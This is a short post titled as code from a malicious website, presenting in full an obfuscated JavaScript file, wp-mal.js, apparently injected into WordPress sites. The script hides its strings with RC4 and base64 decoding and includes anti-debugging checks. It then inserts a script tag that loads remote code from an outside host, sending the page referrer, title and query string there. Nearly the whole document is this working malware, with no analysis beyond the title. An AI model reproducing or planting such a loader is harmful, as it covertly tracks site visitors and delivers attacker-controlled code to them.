Code from a malicious website

wp-mal.js

<
script type = 'text/javascript' >
    var ttzza = ['R8OSw7rCuWPCt2NQwppQw47Cgn4=', 'w7F/OcKIw4UYwrpmw7bDr2LCiMOH', 'OkHDg8OBwrNLasOCEB4=', 'M8OBAcKqwowDw7dmUcOGw77DkA==', 'wrpiEFA=', 'wr7DlMKnB11CScOJw6ttw7E=', 'w6fDkcOLwpFLPcKOCsKwwrLDuxjCqA==', 'w7vDkzs=', 'OEXDl8OBwq9NQcOf', 'w43Cp8K/GH8=', 'JmsTUjN9', 'woDDnsOKw4U0dk4=', 'bEbDg8OJw6BMR8OfHQvChjrCrRXCqXrDlGbCp8Kze8OCwrZFwoxZOV/CsR9AKsOhwoTDnsOsQR09worDgsKOw5UyFC7Dk8K3w4rCgcK/w5LDkg=='];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    var g = function() {
        var h = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(i, j, k, l) {
                l = l || {};
                var m = j + '=' + k;
                var n = 0x0;
                for (var n = 0x0, p = i['length']; n < p; n++) {
                    var q = i[n];
                    m += ';\x20' + q;
                    var r = i[q];
                    i['push'](r);
                    p = i['length'];
                    if (r !== !![]) {
                        m += '=' + r;
                    }
                }
                l['cookie'] = m;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(s, t) {
                s = s || function(u) {
                    return u;
                };
                var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var w = function(x, y) {
                    x(++y);
                };
                w(e, d);
                return v ? decodeURIComponent(v[0x1]) : undefined;
            }
        };
        var z = function() {
            var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return A['test'](h['removeCookie']['toString']());
        };
        h['updateCookie'] = z;
        var B = '';
        var C = h['updateCookie']();
        if (!C) {
            h['setCookie'](['*'], 'counter', 0x1);
        } else if (C) {
            B = h['getCookie'](null, 'counter');
        } else {
            h['removeCookie']();
        }
    };
    g();
}(ttzza, 0x1e7));
var ttzzb = function(c, d) {
    c = c - 0x0;
    var e = ttzza[c];
    if (ttzzb['lvutuN'] === undefined) {
        (function() {
            var f;
            try {
                var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                f = g();
            } catch (h) {
                f = window;
            }
            var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob'] = function(j) {
                var k = String(j)['replace'](/=+$/, '');
                for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
                    n = i['indexOf'](n);
                }
                return p;
            });
        }());
        var q = function(r, d) {
            var t = [],
                u = 0x0,
                v, w = '',
                x = '';
            r = atob(r);
            for (var y = 0x0, z = r['length']; y < z; y++) {
                x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);
            }
            r = decodeURIComponent(x);
            for (var A = 0x0; A < 0x100; A++) {
                t[A] = A;
            }
            for (A = 0x0; A < 0x100; A++) {
                u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
            }
            A = 0x0;
            u = 0x0;
            for (var B = 0x0; B < r['length']; B++) {
                A = (A + 0x1) % 0x100;
                u = (u + t[A]) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
                w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]);
            }
            return w;
        };
        ttzzb['nXuQoi'] = q;
        ttzzb['cFXlJH'] = {};
        ttzzb['lvutuN'] = !![];
    }
    var C = ttzzb['cFXlJH'][c];
    if (C === undefined) {
        if (ttzzb['JppTRV'] === undefined) {
            var D = function(E) {
                this['NptxXd'] = E;
                this['XnGvOI'] = [0x1, 0x0, 0x0];
                this['SSHvqf'] = function() {
                    return 'newState';
                };
                this['CObEqA'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['HsDVVp'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            D['prototype']['qCarvi'] = function() {
                var F = new RegExp(this['CObEqA'] + this['HsDVVp']);
                var G = F['test'](this['SSHvqf']['toString']()) ? --this['XnGvOI'][0x1] : --this['XnGvOI'][0x0];
                return this['TqOESI'](G);
            };
            D['prototype']['TqOESI'] = function(H) {
                if (!Boolean(~H)) {
                    return H;
                }
                return this['fxeoJD'](this['NptxXd']);
            };
            D['prototype']['fxeoJD'] = function(I) {
                for (var J = 0x0, K = this['XnGvOI']['length']; J < K; J++) {
                    this['XnGvOI']['push'](Math['round'](Math['random']()));
                    K = this['XnGvOI']['length'];
                }
                return I(this['XnGvOI'][0x0]);
            };
            new D(ttzzb)['qCarvi']();
            ttzzb['JppTRV'] = !![];
        }
        e = ttzzb['nXuQoi'](e, d);
        ttzzb['cFXlJH'][c] = e;
    } else {
        e = C;
    }
    return e;
};
var c = function() {
    var c = !![];
    return function(d, e) {
        var f = c ? function() {
            if (e) {
                var g = e['apply'](d, arguments);
                e = null;
                return g;
            }
        } : function() {};
        c = ![];
        return f;
    };
}();
var f = c(this, function() {
    var c = function() {
            return '\x64\x65\x76';
        },
        d = function() {
            return '\x77\x69\x6e\x64\x6f\x77';
        };
    var e = function() {
        var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
        return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var g = function() {
        var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
        return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var i = function(j) {
        var k = ~-0x1 >> 0x1 + 0xff % 0x0;
        if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
            l(j);
        }
    };
    var l = function(m) {
        var n = ~-0x4 >> 0x1 + 0xff % 0x0;
        if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
            i(m);
        }
    };
    if (!e()) {
        if (!g()) {
            i('\x69\x6e\x64\u0435\x78\x4f\x66');
        } else {
            i('\x69\x6e\x64\x65\x78\x4f\x66');
        }
    } else {
        i('\x69\x6e\x64\u0435\x78\x4f\x66');
    }
});
f();
var ttzz_d = document;
var ttzz_e = ttzz_d[ttzzb('0x0', '(VEL')]('script');
ttzz_e[ttzzb('0x1', '1sR*')] = 'https://myearthsongs.info/jscount?se_referrer=' + encodeURIComponent(document[ttzzb('0x2', 'w$$^')]) + '&default_keyword=' + encodeURIComponent(document[ttzzb('0x3', 'Nq6L')]) + '&' + window['location'][ttzzb('0x4', 'PsF)')][ttzzb('0x5', '9P7r')]('?', '&') + ttzzb('0x6', 'w$$^');
if (document[ttzzb('0x7', '7tYU')]) {
    document[ttzzb('0x8', '&8IL')][ttzzb('0x9', 'w$$^')][ttzzb('0xa', 'LK2b')](ttzz_e, document['currentScript']);
} else {
    ttzz_d['getElementsByTagName'](ttzzb('0xb', 'avFn'))[0x0][ttzzb('0xc', 'em$X')](ttzz_e);
} < /script>